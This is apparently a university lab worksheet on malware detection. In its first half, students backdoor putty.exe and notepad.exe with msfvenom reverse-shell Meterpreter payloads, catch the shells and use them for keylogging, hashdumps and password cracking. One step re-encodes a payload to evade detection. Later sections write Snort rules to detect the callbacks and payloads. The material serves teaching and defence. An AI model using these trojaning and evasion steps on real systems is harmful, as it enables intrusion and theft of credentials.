Lab 10: Malware Detection

A Malware Creation

Demo: https://youtu.be/1t2nrxpf3iw

1. **An intruder can use Metasploit to modify an executable program. In the first example we will modify the putty.exe program. First, on your Kali machine, download putty.exe:**

```
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
```

2. **Next we can inject some backdoor code into the EXE with:**

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[KALI_IP] LPORT=443 -e
cmd/powershell_base64 -f exe -i 3 -k -x putty.exe > puttyx.exe
```

This will create a reverse Meterpreter payload when the user runs the program. The output is puttyx.exe.

3. **Next move your two putty EXEs (putty.exe and puttyx.exe) to the /var/www folder:**

```
cp putty* /var/www
```

4. **Now start the Web server on Kali with:**

```
/etc/init.d/apache2 start
```

Next, on your Windows 2003 instance (make sure it is connected to VLAN 200). Access the Web server of your Kali instance.

What is the home page message:

Now download the **putty.exe** and **puttyx.exe** programs from the Kali Web site to the Windows 2003 machine, and run **puttyx.exe** and **putty.exe**.

Do they run normally:

On Kali, run **binwalk** on both files, and outline the difference between the files:

On Kali, using md5sum, determine the MD5 signature for **putty.exe** and **puttyx.exe**:

5. Now on your Kali machine, setup the exploit:

```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [KALI_IP]
LHOST => 10.200.0.20
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
```

Now re-run the **puttyx.exe** program. What message appears on the Kali machine when the program runs:

6. From the Meterpreter, perform the following

```
meterpreter > getuid
```

Output:

Now take a screen shot of the desktop.

Now, implement a keystroke capture command in Meterpreter, and ask your lab partner to type in a secret phrase and see if you can determine it.

What was the phrase:

Now get your lab partner to store a file in the top level folder on the Windows 2003 instances and put a secret message in there.

What is the secret message:

Now capture a **hashdump**, and use John the Ripper to crack the passwords. Which passwords have been cracked:

7. **On Windows 2003, download Hex Editor Neo.**

Compare the hex dump of **putty.exe** and **puttyx.exe**. What are the main differences:

8. **The payload is in reverse_tcp.rb in the following folder**

/usr/share/metasploit-framework/modules/payloads/stagers/windows

View the Ruby file and determine the signature in the malware, and search for it in the EXE.

Can you find the signature (hint: \xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64):

Yes/No

B Malware in Windows Applications

9. **Now we will take the Notepad.exe application from Windows 2003, and inject a reverse TCP connection, in order to access the Meterpreter on the instance. First, on Windows 2003, copy the Notepad.exe program to c:\inetpub\wwwroot**

```
Copy c:\windows\system32\notepad.exe c:\inetpub\wwwroot
```

10. **Next run Notepad.exe and check it runs okay:**

```
C:\inetpub\wwwroot\notepad.exe
```

11. **Next download notepad.exe from Kali, but using the Web browser and**

```
http://[WINDOWS 2003]/notepad.exe
```

12. **We can now inject some backdoor code into the EXE with:**

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[KALI_IP] LPORT=443 -e
cmd/powershell_base64 -f exe -i 3 -k -x notepad.exe > notepadx.exe
```

This will create a reverse Meterpreter payload when the user runs the program. The output is puttyx.exe

13. **Next move your EXEs (notepadx.exe) to the /var/www folder:**

```
cp notepadx.exe /var/www
```

14. **Now start the Web server on Kali with (if it is not started):**

```
/etc/init.d/apache2 start
```

Now, on Windows 2003, download **notepadx.exe** from the Kali Web site to the Windows 2003 machine, and run **notepadx.exe**.

Does it run normally:

15. Now on your Kali machine, setup the exploit:

```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [KALI_IP]
LHOST => 10.200.0.20
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
```

Now re-run the **notepadx.exe** program. What message appears on the Kali machine when the program runs:

16. From the Meterpreter, perform the following

```
meterpreter > getuid
```

Output:

Now repeat the creation of notepadx.exe with a new encoding format:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[KALI_IP] LPORT=443 -e
x86/shikata_ga_nai -f exe -i 3 -k -x notepad.exe > notepadx.exe
```

Does the exploit still work? Yes/No

C Detecting malware with Snort for network connection

Now we will use Snort to detect the connection that the malware makes back to the Kali instance.

17. First we will test the Snort detector. For this, create a file 1.rules using:

http://asecuritysite.com/myrules.txt

18. Now run Snort on Windows 2003 with:

```
snort –i 1 –c 1.rules
```

19. Now repeat the exploit, so that Kali listens for the connection, and you run the puttyx.exe program.

Did Snort detect the connection? What are the details of the alert?

20. Now run Wireshark on Windows 2003 and repeat Step 10. Capture the trace.

Can you capture a hex or ASCII sequence which identifies the malware calling back:

21. Now implement an improved Snort rule which detects the content within the connection on Port 443, and repeat:

content:"YOURSTRING";

or:

content:"| HEX |";

What is the rule implemented: Does it detect the call back?

D Detecting malware with Snort in the payload

Now we will use Snort to detect **putty.exe** and **puttyx.exe** in the payload.

22. Run Wireshark on Windows 2003, and re-download the putty.exe and puttyx.exe files.

Can you define a signature to uniquely identify **putty.exe**: Can you define a signature to uniquely identify **puttyx.exe**:

23. Now implement two Snort rules, which detect putty.exe and puttyx.exe and see if you can detect them being downloaded onto the Windows 2003 machine:

Alert for putty.exe

Alert for puttyx.exe:

E Hiding content

24. An intruder can hide the EXE using a packer.

On Kali, determine the MD5 signature and file size for putty.exe:

On Kali, now run **upx**, and determine the MD5 signature and file size for putty.exe:

On Windows 2003, download the updated **putty.exe** program, and see if you can run the EXE on Windows 2003. Did it run okay?

Run your Snort detector. Did it detect it?

On Kali, which option can you use to unpack your packed EXE?

Use this option to unpack the EXE, and check the file size and MD5 signature:

25. An intruder can hide the EXE's in a Gzip file. Now using gzip to compress the EXEs, and rewrite your Snort rules to detect the download onto the Windows 2003 instance:

What are the rules:

Refer to http://asecuritysite.com/forensics/magic for details on Gzip.

F Android Exploits

26. On Windows 2003, download an Android Malware network trace:

http://asecuritysite.com/log/and_malware.zip

In this trace, the Android device has some malware, and does a call back to Metasploit.

Which TCP port is the callback:

Which hex (or ASCII) sequence would be used to detect the Metasploit Meterpreter being downloaded on the device:

How many ZIP files are contained in the trace:

Can you identify some of the names of the ZIP files in the trace:

27. On Windows 2003, create a Snort rule to detect the downloading of Meterpreter framework. The following is a starting point for the rules file:

http://asecuritysite.com/myrules.txt

Snort is run as:

```
snort –c myrules.txt –r and_malware.pcap
```